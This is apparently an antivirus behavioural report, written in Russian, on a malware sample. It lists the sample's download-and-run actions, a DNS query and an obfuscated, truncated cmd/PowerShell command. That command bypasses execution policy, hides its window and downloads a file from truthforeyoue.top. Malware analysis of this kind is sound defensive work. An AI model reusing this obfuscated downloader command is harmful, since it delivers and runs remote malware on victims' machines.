Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://truthforeyoue.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pO^wE^RSH^eL^L^.E^xe^ -EXeCu^tIO^NPO^LICy^ Byp^a^Ss ^-NOPr^oFile -^wi^NDOWsT^Y^le ^HIDden^ (new-O^bJec^t sysTEM.N^eT^.w^eB^cL^I^EnT).^DOWnl^oADfIlE^(^'http://truthforeyoue.t...
Сетевая активность
UDP
- DNS ASK tr####oreyoue.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pO^wE^RSH^eL^L^.E^xe^ -EXeCu^tIO^NPO^LICy^ Byp^a^Ss ^-NOPr^oFile -^wi^NDOWsT^Y^le ^HIDden^ (new-O^bJec^t sysTEM.N^eT^.w^eB^cL^I^EnT).^DOWnl^oADfIlE^(^'http://truthforeyoue.t...' (со скрытым окном)
